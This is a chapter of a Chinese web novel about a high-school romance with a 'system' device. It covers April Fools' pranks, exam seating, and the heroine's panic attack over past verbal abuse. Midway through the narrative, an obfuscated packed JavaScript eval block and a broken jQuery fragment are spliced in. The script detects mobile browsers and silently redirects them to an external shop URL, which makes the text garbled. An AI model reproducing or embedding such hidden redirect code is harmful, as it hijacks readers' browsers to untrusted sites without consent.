“谁是修灯泡的!”陈默青单手扛起人字梯就走。
江满听见争吵,犹豫了一下还是透过猫眼看了一眼,但只看见陈默青挺直的背影离去。
三脚猫不知道什么时候走了过来蹲在她脚边,仰头“喵”了一声。
江满收回视线,低头看着三脚猫,那一句让她过得开心一点在耳边回荡,转转悠悠地想要找个什么地方钻进她的心里似的。
“恭喜宿主,女主好感度上升百分之五,请再接再厉。”
陈默青低头轻笑了一下。
江满打开门,跺了跺脚,灯亮了。
愚人节的那天,正好又是要月考的日子。
江满慢腾腾地收拾着东西,她零碎的东西不多,不像林许月有一堆哄自己上学的宝贝小玩意儿。
“你的书要搬出去吗?我帮你搬吧?”陈默青自己的东西收拾得差不多了,才看见江满几乎是刚开始。
“不用。”江满的书筐是带轮子的,她把桌面上桌洞里的书全都码好堆进筐里,很轻松地就拖了出去。
陈默青挠挠头,浑身劲都没处使,想说什么却又无言,只能目送着她离去。
杨一临从后门溜达进来,看见陈默青顺手拍了他一下,“班主任叫你去办公室一趟。”
陈默青点点头:“行。”
等到了办公室里,陈默青看着一脸懵的班主任才反应过来什么,“抱歉,老师我听错了。”
“哦,今天是愚人节哦。”隔壁的老师也注意到这边,主动搭了一句话,“别说,这么多年这个老套路还是很管用。”
班主任也笑了起来,她也想起当年,“我读书的时候也被人这么骗过,现在当班主任了,这事还有我的戏份。”
“我说也是的哦。”
陈默青脸上挂着假笑,“那老师我先回去整理教室了。”
“哦对,先等一下吧。”班主任想起来什么,在她显然有些乱糟糟的办公桌上翻找了一下,抽出一张表格递给他。
“这是准考证号,你到时候贴一下。”
班主任道。
陈默青点点头,接过来看见的第一个名字就是江满,大概是按照成绩分的考场,她在0101。
那也不算白来一趟。
陈默青刚转过来,还没有参加过大考,平时的周测小测的成绩也不作数,所以他是直接去了最后一个考场。
“隔着十个考场,那不是没什么机会说上话了?”
陈默青数了数,两天考完六科,几乎没有什么复习的时间,江满离本班教室只隔着一个班,但她估计也不会回去。
系统:“宿主你可以去她考场的。”
陈默青和它一拍即合,“我也是这么想的!不愧是我的好系统,懂我。”
系统:……
他高兴了没三秒钟,又反应过来什么,“江满要是一考完就睡觉怎么办?”
“你真去找老班了?”刚一到教室,杨一临就抽走陈默青手里的准考证号,意识到什么笑得前仰后合的,“愚人节快乐!”
江满很轻地皱了一下眉头,很快就明白了大概是怎么一回事。
“班主任叫你去办公室一趟。”陈默青一本正经道。
杨一临笑不出来了,林许月走过来看准考证,“这是准考证吗?我拿去贴了啊。”
陈默青点点头,“好。”
杨一临问:“你拉倒吧,我刚拿这个骗你,你又骗我,当我傻呢?班任喊我干嘛?”
陈默青摇摇头,实话实说:“不知道。”
骗了人一回的杨一临眯了眯眼睛,原本的不信也有些动摇了,但总带着点警惕,又问道:“真的喊我了?不是愚人节快乐?”
被骗了一回的陈默青眼睛都不眨地骗人,他点点头,“是的。”
杨一临看着陈默青,决定相信一回,“行,我去,哥们我看你老实我才信你的啊。”
“嗯。”陈默青点点头,神色淡然地目送着杨一临一步一回头地走出去。
江满扫了一眼陈默青,而后轻轻地翘起嘴角,大概猜到了他在骗人。
“你的考号是12120101。”陈默青看着江满,不复刚才的冷淡。
江满颔首,林许月刚刚也过来和她说过了,而且准考证号对她来说是一个固定数值,她一直是0101。
“陈默青!你骗老子!”杨一临冲进来就摁住陈默青的脖子往下压,“我看你长得老实才信你的!”
陈默青本来挣扎了一下,却瞥见江满看着他们两个勾了勾唇,他索性没再动,使劲抬头看着她笑。
江满被他的笑给晃了一下,收了笑,不自然地撇开了头。
大考的前一天晚自习是难得可以喘息的时候,林许月随手拿了一本什么就坐到了江满旁边的空位置来。
因为要做考场,所以座位都拉开了距离,杨一临也趁着这个机会,把桌子从讲台边上给拖到了倒数第一排。
陈默青还坐在江满身后。
“欸,话说学校到底什么时候给办成人礼啊?”
林许月先挑起了这个话题,以她为中心附近的人都凑了过来,杨一临是消息最灵通的,“估计和上一届办的时间差不太多,五月份左右吧。”
“那很好啊,到时候应该挺热的了,穿小礼裙正好!”
陈瑶满眼都是期待,她高一的时候就参加过学长们的成人礼了,不过那个时候她是去给学长们表演的。
学姐们穿着都是各式各样的正式礼服,学哥们也都穿了正式西装,真的是一副大人模样。
“那瑶瑶你挑好了没有?我还没开始看呢。”林许月好奇问道。
陈瑶摇摇头:“我妈说到时候带我去挑挑,咱俩也可以一起的。”
“行啊,”林许月眼睛一亮,转头看着仍旧静心学习的江满,“满满去不去?”
江满听见自己的名字还没有反应过来,倒是陈默青先回了头,他转述了一下:“她问你要不要一起去挑成人礼要穿的礼服。”
“不了。”听见成人礼这几个字,江满垂下眼帘,无波无澜地回了一句。
林许月也只好作罢,杨一临却来劲了,“到时候也带我一个呗,帮我挑挑,你们两个审美指定行。”
陈瑶满口答应下来,话题又转开了,“成人礼是不是要请家长来着?”
“是要请。”杨一临接了话,想起来什么然后坐直了身体,拿出一张纸装模作样,“还要写给家长的一封信读给家长听。”
“玩这么尬的?”王皓轩也学不下去了,加入了讨论,“我到时候不写信行不行?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17637373|206596||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“我也不想写,感觉很不好意思啊。”林许月光是想象了一下那个场景都觉得浑身要起鸡皮疙瘩了。
耳边的谈话渐渐清晰又慢慢渺远,江满握着笔,笔尖在纸页上洇出一个黑点,一点一点扩大。
像是一个黑洞,张着嘴要吃人。
“我肯定会写的嘿嘿,我平时就老和我妈我爸说爱你,她们都习惯了的哈哈哈。”
“我妈来的话我就给我妈念。”
“那你们都是妈妈来还是爸爸来啊?”
……
江满猛地在书上打了个叉,而后起身从后门走了出去。
陈默青看着,下意识地追了上去,却又在门口止步,他欲盖弥彰地从外面随手拿了一本书然后走进来,心却留在了外面。
“陈默青,陈默青!”杨一临凑到陈默青耳边喊了一声,吓得他眉头都紧了一下,“怎么了?”
林许月不解地看着他,“想啥呢?那么入迷,我喊你五六遍都不理人。”
陈默青勉强扯了扯唇瓣,“没什么,喊我干嘛?”
“哦,就是想问问你到时候谁来。”
“也许都不来。”陈默青垂眸想了一会,道。
“啊?为什么?”林许月诧异道,却见他摇摇头,起身出去了。
还在上晚自习,教室外面几乎没有人,静谧如空谷。
江满站在角落里感受着丝丝凉意,脑袋里一片混乱,总有一张面目狰狞的脸在嘶吼着什么,“你就是个赔钱货,你妈不要你,把你扔了自己享福去了!”
她胸口起伏渐深,呼吸愈发得急促起来。
江满伸出手去扶住栏杆,好撑着身体不要倒下,粗重的喘息在无人的走廊里回荡,手指一点一点收紧。
“赔钱货,你妈不要你……”
她痛苦地闭上眼,想要抓住什么,想要驳倒什么,“我不是,我不是……”
江满终于还是蹲了下来,她环抱住自己,一点一点缩紧胳膊,声音低得几乎听不见,“我……我才不是,我不是。”
“我才不是赔钱货!”江满咬牙切齿地吐出这一句话,带着滔天的怨恨,“我要我自己,我要我自己!”
陈默青终于找到江满的时候,恰好听到这一句话,看见她的胳膊被攥得红了一片,他的心猛地一跳。
“满满。”陈默青蹲在她面前,轻声喊道,他看见她在发抖。
陈默青喉间也有些发苦,他又喊了一声,“满满。”
江满一遍又一遍地肯定自己,才终于把脑海里的脏东西全都赶出去,可却仍旧止不住地细细颤抖。
她听见声音抬眸,早就不堪重负的眼眶随着动作终于崩溃,眼泪一颗一颗砸落,在脸上留下一阵涟漪。
“你是来干什么的?”
江满被陈默青温柔注视着,眼泪掉得却更多了,“不要你可怜我。”
但她知道,她没有在他的脸上看到任何可怜的神情。
“我是来让你幸福的。”陈默青伸出手,动作轻柔地给她擦眼泪,“那你可怜可怜我好不好?”
“可怜你什么?”江满喃喃。
“可怜我是一个很失败的人,我在同一件事情上失败了特别特别多次。”
说这话的时候,陈默青注视着她,带着一种无穷无尽的哀伤。